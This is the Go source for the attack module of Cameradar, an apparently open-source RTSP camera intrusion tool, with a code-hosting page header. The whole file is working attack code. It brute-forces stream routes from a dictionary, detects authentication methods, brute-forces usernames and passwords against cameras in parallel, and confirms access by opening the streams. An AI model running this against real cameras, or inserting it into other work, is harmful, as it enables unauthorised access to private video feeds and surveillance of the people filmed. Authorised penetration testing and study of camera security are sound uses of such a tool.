449 lines
14 KiB
Go
449 lines
14 KiB
Go
package attack
|
|
|
|
import (
|
|
"context"
|
|
"errors"
|
|
"fmt"
|
|
"time"
|
|
|
|
"github.com/Ullaakut/cameradar/v6"
|
|
"github.com/bluenviron/gortsplib/v5"
|
|
"github.com/bluenviron/gortsplib/v5/pkg/base"
|
|
"github.com/bluenviron/gortsplib/v5/pkg/description"
|
|
"github.com/bluenviron/gortsplib/v5/pkg/liberrors"
|
|
)
|
|
|
|
// Route that should never be a constructor default.
|
|
const dummyRoute = "0x8b6c42"
|
|
|
|
// Dictionary provides dictionaries for routes, usernames and passwords.
|
|
type Dictionary interface {
|
|
Routes() []string
|
|
Usernames() []string
|
|
Passwords() []string
|
|
}
|
|
|
|
// Reporter reports progress and results of the attacks.
|
|
type Reporter interface {
|
|
Start(step cameradar.Step, message string)
|
|
Done(step cameradar.Step, message string)
|
|
Progress(step cameradar.Step, message string)
|
|
Error(step cameradar.Step, err error)
|
|
Debug(step cameradar.Step, message string)
|
|
}
|
|
|
|
// Attacker attempts to discover routes and credentials for RTSP streams.
|
|
type Attacker struct {
|
|
dictionary Dictionary
|
|
reporter Reporter
|
|
attackInterval time.Duration
|
|
timeout time.Duration
|
|
}
|
|
|
|
// New builds an Attacker with the provided dependencies.
|
|
func New(dict Dictionary, attackInterval, timeout time.Duration, reporter Reporter) (Attacker, error) {
|
|
if dict == nil {
|
|
return Attacker{}, errors.New("dictionary is required")
|
|
}
|
|
|
|
return Attacker{
|
|
dictionary: dict,
|
|
attackInterval: attackInterval,
|
|
timeout: timeout,
|
|
reporter: reporter,
|
|
}, nil
|
|
}
|
|
|
|
// Attack attacks the given targets and returns the accessed streams.
|
|
func (a Attacker) Attack(ctx context.Context, targets []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
if len(targets) == 0 {
|
|
return nil, errors.New("no stream found")
|
|
}
|
|
|
|
streams, err := a.attackRoutesPhase(ctx, targets)
|
|
if err != nil {
|
|
return streams, err
|
|
}
|
|
|
|
streams, err = a.detectAuthPhase(ctx, streams)
|
|
if err != nil {
|
|
return streams, err
|
|
}
|
|
|
|
streams, err = a.attackCredentialsPhase(ctx, streams)
|
|
if err != nil {
|
|
return streams, err
|
|
}
|
|
|
|
streams, err = a.validateStreamsPhase(ctx, streams)
|
|
if err != nil {
|
|
return streams, err
|
|
}
|
|
|
|
// Some cameras run an inaccurate version of the RTSP protocol which prioritizes 401 over 404.
|
|
// For these cameras, running another route attack solves the problem.
|
|
if !needsReattack(streams) {
|
|
return streams, nil
|
|
}
|
|
streams, err = a.reattackRoutes(ctx, streams)
|
|
if err != nil {
|
|
return streams, err
|
|
}
|
|
|
|
return streams, nil
|
|
}
|
|
|
|
func (a Attacker) attackRoutesPhase(ctx context.Context, targets []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
a.reporter.Start(cameradar.StepAttackRoutes, "Attacking RTSP routes")
|
|
routeAttempts := (len(a.dictionary.Routes()) + 1) * len(targets)
|
|
if routeAttempts > 0 {
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTotalMessage(routeAttempts))
|
|
}
|
|
|
|
streams, err := runParallel(ctx, targets, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
|
|
return a.attackRoutesForStream(ctx, target, true)
|
|
})
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepAttackRoutes, err)
|
|
return streams, fmt.Errorf("attacking routes: %w", err)
|
|
}
|
|
updateSummary(a.reporter, streams)
|
|
a.reporter.Done(cameradar.StepAttackRoutes, "Finished route attacks")
|
|
|
|
return streams, nil
|
|
}
|
|
|
|
func (a Attacker) detectAuthPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
a.reporter.Start(cameradar.StepDetectAuth, "Detecting authentication methods")
|
|
if len(streams) > 0 {
|
|
a.reporter.Progress(cameradar.StepDetectAuth, cameradar.ProgressTotalMessage(len(streams)))
|
|
}
|
|
streams, err := a.detectAuthMethods(ctx, streams)
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepDetectAuth, err)
|
|
return streams, fmt.Errorf("detecting authentication methods: %w", err)
|
|
}
|
|
updateSummary(a.reporter, streams)
|
|
a.reporter.Done(cameradar.StepDetectAuth, "Authentication detection complete")
|
|
|
|
return streams, nil
|
|
}
|
|
|
|
func (a Attacker) attackCredentialsPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
a.reporter.Start(cameradar.StepAttackCredentials, "Attacking credentials")
|
|
credentialsAttempts := len(streams) * len(a.dictionary.Usernames()) * len(a.dictionary.Passwords())
|
|
if credentialsAttempts > 0 {
|
|
a.reporter.Progress(cameradar.StepAttackCredentials, cameradar.ProgressTotalMessage(credentialsAttempts))
|
|
}
|
|
streams, err := runParallel(ctx, streams, a.attackCredentialsForStream)
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepAttackCredentials, err)
|
|
return streams, fmt.Errorf("attacking credentials: %w", err)
|
|
}
|
|
updateSummary(a.reporter, streams)
|
|
a.reporter.Done(cameradar.StepAttackCredentials, "Credential attacks complete")
|
|
|
|
return streams, nil
|
|
}
|
|
|
|
func (a Attacker) validateStreamsPhase(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
a.reporter.Start(cameradar.StepValidateStreams, "Validating streams")
|
|
if len(streams) > 0 {
|
|
a.reporter.Progress(cameradar.StepValidateStreams, cameradar.ProgressTotalMessage(len(streams)))
|
|
}
|
|
streams, err := runParallel(ctx, streams, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
|
|
return a.validateStream(ctx, target, true)
|
|
})
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepValidateStreams, err)
|
|
return streams, fmt.Errorf("validating streams: %w", err)
|
|
}
|
|
updateSummary(a.reporter, streams)
|
|
a.reporter.Done(cameradar.StepValidateStreams, "Stream validation complete")
|
|
|
|
return streams, nil
|
|
}
|
|
|
|
func (a Attacker) reattackRoutes(ctx context.Context, streams []cameradar.Stream) ([]cameradar.Stream, error) {
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, "Re-attacking routes for partial results")
|
|
updated, err := runParallel(ctx, streams, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
|
|
return a.attackRoutesForStream(ctx, target, false)
|
|
})
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepAttackRoutes, err)
|
|
return streams, fmt.Errorf("attacking routes: %w", err)
|
|
}
|
|
|
|
updated, err = runParallel(ctx, updated, func(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
|
|
return a.validateStream(ctx, target, false)
|
|
})
|
|
if err != nil {
|
|
a.reporter.Error(cameradar.StepValidateStreams, err)
|
|
return updated, fmt.Errorf("validating streams: %w", err)
|
|
}
|
|
updateSummary(a.reporter, updated)
|
|
|
|
return updated, nil
|
|
}
|
|
|
|
func needsReattack(streams []cameradar.Stream) bool {
|
|
for _, stream := range streams {
|
|
if stream.RouteFound && stream.CredentialsFound && stream.Available {
|
|
// This stream is fully discovered, no need to re-attack.
|
|
continue
|
|
}
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
type summaryUpdater interface {
|
|
UpdateSummary(streams []cameradar.Stream)
|
|
}
|
|
|
|
func updateSummary(reporter Reporter, streams []cameradar.Stream) {
|
|
updater, ok := reporter.(summaryUpdater)
|
|
if !ok {
|
|
return
|
|
}
|
|
updater.UpdateSummary(streams)
|
|
}
|
|
|
|
func (a Attacker) attackCredentialsForStream(ctx context.Context, target cameradar.Stream) (cameradar.Stream, error) {
|
|
for _, username := range a.dictionary.Usernames() {
|
|
for _, password := range a.dictionary.Passwords() {
|
|
if ctx.Err() != nil {
|
|
return target, ctx.Err()
|
|
}
|
|
|
|
a.reporter.Progress(cameradar.StepAttackCredentials, cameradar.ProgressTickMessage())
|
|
ok, err := a.credAttack(ctx, target, username, password)
|
|
if err != nil {
|
|
target.CredentialsFound = false
|
|
|
|
msg := fmt.Sprintf("credential attempt failed for %s:%d (%s:%s): %v", target.Address.String(), target.Port, username, password, err)
|
|
a.reporter.Debug(cameradar.StepAttackCredentials, msg)
|
|
|
|
return target, nil
|
|
}
|
|
|
|
if ok {
|
|
target.CredentialsFound = true
|
|
target.Username = username
|
|
target.Password = password
|
|
|
|
msg := fmt.Sprintf("Credentials found for %s:%d", target.Address.String(), target.Port)
|
|
a.reporter.Progress(cameradar.StepAttackCredentials, msg)
|
|
|
|
return target, nil
|
|
}
|
|
time.Sleep(a.attackInterval)
|
|
}
|
|
}
|
|
|
|
target.CredentialsFound = false
|
|
return target, nil
|
|
}
|
|
|
|
func (a Attacker) attackRoutesForStream(ctx context.Context, target cameradar.Stream, emitProgress bool) (cameradar.Stream, error) {
|
|
if target.RouteFound {
|
|
return target, nil
|
|
}
|
|
|
|
if emitProgress {
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTickMessage())
|
|
}
|
|
ok, err := a.routeAttack(ctx, target, dummyRoute)
|
|
if err != nil {
|
|
a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("route probe failed for %s:%d: %v", target.Address.String(), target.Port, err))
|
|
return target, nil
|
|
}
|
|
if ok {
|
|
target.RouteFound = true
|
|
target.Routes = append(target.Routes, "") // Add empty route for default.
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, fmt.Sprintf("Default route accepted for %s:%d", target.Address.String(), target.Port))
|
|
return target, nil
|
|
}
|
|
|
|
for _, route := range a.dictionary.Routes() {
|
|
select {
|
|
case <-ctx.Done():
|
|
return target, ctx.Err()
|
|
case <-time.After(a.attackInterval):
|
|
}
|
|
|
|
if emitProgress {
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, cameradar.ProgressTickMessage())
|
|
}
|
|
ok, err := a.routeAttack(ctx, target, route)
|
|
if err != nil {
|
|
a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("route attempt failed for %s:%d (%s): %v", target.Address.String(), target.Port, route, err))
|
|
return target, nil
|
|
}
|
|
if ok {
|
|
target.RouteFound = true
|
|
target.Routes = append(target.Routes, route)
|
|
a.reporter.Progress(cameradar.StepAttackRoutes, fmt.Sprintf("Route found for %s:%d -> %s", target.Address.String(), target.Port, route))
|
|
}
|
|
}
|
|
|
|
return target, nil
|
|
}
|
|
|
|
func (a Attacker) routeAttack(ctx context.Context, stream cameradar.Stream, route string) (bool, error) {
|
|
u, urlStr, err := buildRTSPURL(stream, route, stream.Username, stream.Password)
|
|
if err != nil {
|
|
return false, fmt.Errorf("building rtsp url: %w", err)
|
|
}
|
|
|
|
code, headers, err := a.probeDescribeHeaders(ctx, u, urlStr)
|
|
if err != nil {
|
|
return false, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
|
|
}
|
|
|
|
a.reporter.Debug(cameradar.StepAttackRoutes, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, code))
|
|
|
|
if code == base.StatusMovedPermanently {
|
|
a.handleRedirect(&stream, headers)
|
|
}
|
|
|
|
access := code == base.StatusOK || code == base.StatusUnauthorized || code == base.StatusForbidden
|
|
return access, nil
|
|
}
|
|
|
|
func (a Attacker) credAttack(ctx context.Context, stream cameradar.Stream, username, password string) (bool, error) {
|
|
u, urlStr, err := buildRTSPURL(stream, stream.Route(), username, password)
|
|
if err != nil {
|
|
return false, fmt.Errorf("building rtsp url: %w", err)
|
|
}
|
|
|
|
code, headers, err := a.probeDescribeHeaders(ctx, u, urlStr)
|
|
if err != nil {
|
|
return false, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
|
|
}
|
|
|
|
a.reporter.Debug(cameradar.StepAttackCredentials, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, code))
|
|
|
|
if code == base.StatusMovedPermanently {
|
|
a.handleRedirect(&stream, headers)
|
|
}
|
|
|
|
return code == base.StatusOK || code == base.StatusNotFound, nil
|
|
}
|
|
|
|
func (a Attacker) validateStream(ctx context.Context, stream cameradar.Stream, emitProgress bool) (cameradar.Stream, error) {
|
|
if emitProgress {
|
|
defer a.reporter.Progress(cameradar.StepValidateStreams, cameradar.ProgressTickMessage())
|
|
}
|
|
|
|
if ctx.Err() != nil {
|
|
return stream, ctx.Err()
|
|
}
|
|
|
|
u, urlStr, err := buildRTSPURL(stream, stream.Route(), stream.Username, stream.Password)
|
|
if err != nil {
|
|
return stream, fmt.Errorf("building rtsp url: %w", err)
|
|
}
|
|
|
|
client, err := a.newRTSPClient(u)
|
|
if err != nil {
|
|
return stream, fmt.Errorf("starting rtsp client: %w", err)
|
|
}
|
|
defer client.Close()
|
|
|
|
desc, res, err := a.describeWithRetry(ctx, client, u, urlStr)
|
|
if err != nil {
|
|
return a.handleDescribeError(stream, urlStr, err)
|
|
}
|
|
a.logDescribeResponse(urlStr, res)
|
|
|
|
if desc == nil || len(desc.Medias) == 0 {
|
|
return stream, fmt.Errorf("no media tracks found for %q", urlStr)
|
|
}
|
|
|
|
res, err = client.Setup(desc.BaseURL, desc.Medias[0], 0, 0)
|
|
if err != nil {
|
|
return a.handleSetupError(stream, urlStr, err)
|
|
}
|
|
a.logSetupResponse(urlStr, res)
|
|
|
|
stream.Available = res != nil && res.StatusCode == base.StatusOK
|
|
if stream.Available {
|
|
a.reporter.Progress(cameradar.StepValidateStreams, fmt.Sprintf("Stream validated for %s:%d", stream.Address.String(), stream.Port))
|
|
}
|
|
|
|
return stream, nil
|
|
}
|
|
|
|
func (a Attacker) describeWithRetry(ctx context.Context, client *gortsplib.Client, u *base.URL, urlStr string) (*description.Session, *base.Response, error) {
|
|
var (
|
|
desc *description.Session
|
|
res *base.Response
|
|
err error
|
|
)
|
|
for range 5 {
|
|
desc, res, err = client.Describe(u)
|
|
if err == nil {
|
|
return desc, res, nil
|
|
}
|
|
|
|
var badStatus liberrors.ErrClientBadStatusCode
|
|
if errors.As(err, &badStatus) && badStatus.Code == base.StatusServiceUnavailable {
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d (retrying)", urlStr, badStatus.Code))
|
|
select {
|
|
case <-ctx.Done():
|
|
return nil, nil, ctx.Err()
|
|
case <-time.After(time.Second):
|
|
}
|
|
continue
|
|
}
|
|
|
|
return nil, nil, err
|
|
}
|
|
|
|
return nil, nil, fmt.Errorf("describe retries exhausted for %q: %w", urlStr, err)
|
|
}
|
|
|
|
func (a Attacker) handleDescribeError(stream cameradar.Stream, urlStr string, err error) (cameradar.Stream, error) {
|
|
var badStatus liberrors.ErrClientBadStatusCode
|
|
if errors.As(err, &badStatus) && badStatus.Code == base.StatusServiceUnavailable {
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, badStatus.Code))
|
|
a.reporter.Progress(cameradar.StepValidateStreams, fmt.Sprintf("Stream unavailable for %s:%d (RTSP %d)",
|
|
stream.Address.String(),
|
|
stream.Port,
|
|
badStatus.Code,
|
|
))
|
|
stream.Available = false
|
|
return stream, nil
|
|
}
|
|
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > error: %v", urlStr, err))
|
|
|
|
return stream, fmt.Errorf("performing describe request at %q: %w", urlStr, err)
|
|
}
|
|
|
|
func (a Attacker) handleSetupError(stream cameradar.Stream, urlStr string, err error) (cameradar.Stream, error) {
|
|
var badStatus liberrors.ErrClientBadStatusCode
|
|
if errors.As(err, &badStatus) {
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("SETUP %s RTSP/1.0 > %d", urlStr, badStatus.Code))
|
|
stream.Available = badStatus.Code == base.StatusOK
|
|
return stream, nil
|
|
}
|
|
|
|
return stream, fmt.Errorf("performing setup request at %q: %w", urlStr, err)
|
|
}
|
|
|
|
func (a Attacker) logDescribeResponse(urlStr string, res *base.Response) {
|
|
if res == nil {
|
|
return
|
|
}
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("DESCRIBE %s RTSP/1.0 > %d", urlStr, res.StatusCode))
|
|
}
|
|
|
|
func (a Attacker) logSetupResponse(urlStr string, res *base.Response) {
|
|
if res == nil {
|
|
return
|
|
}
|
|
a.reporter.Debug(cameradar.StepValidateStreams, fmt.Sprintf("SETUP %s RTSP/1.0 > %d", urlStr, res.StatusCode))
|
|
}
|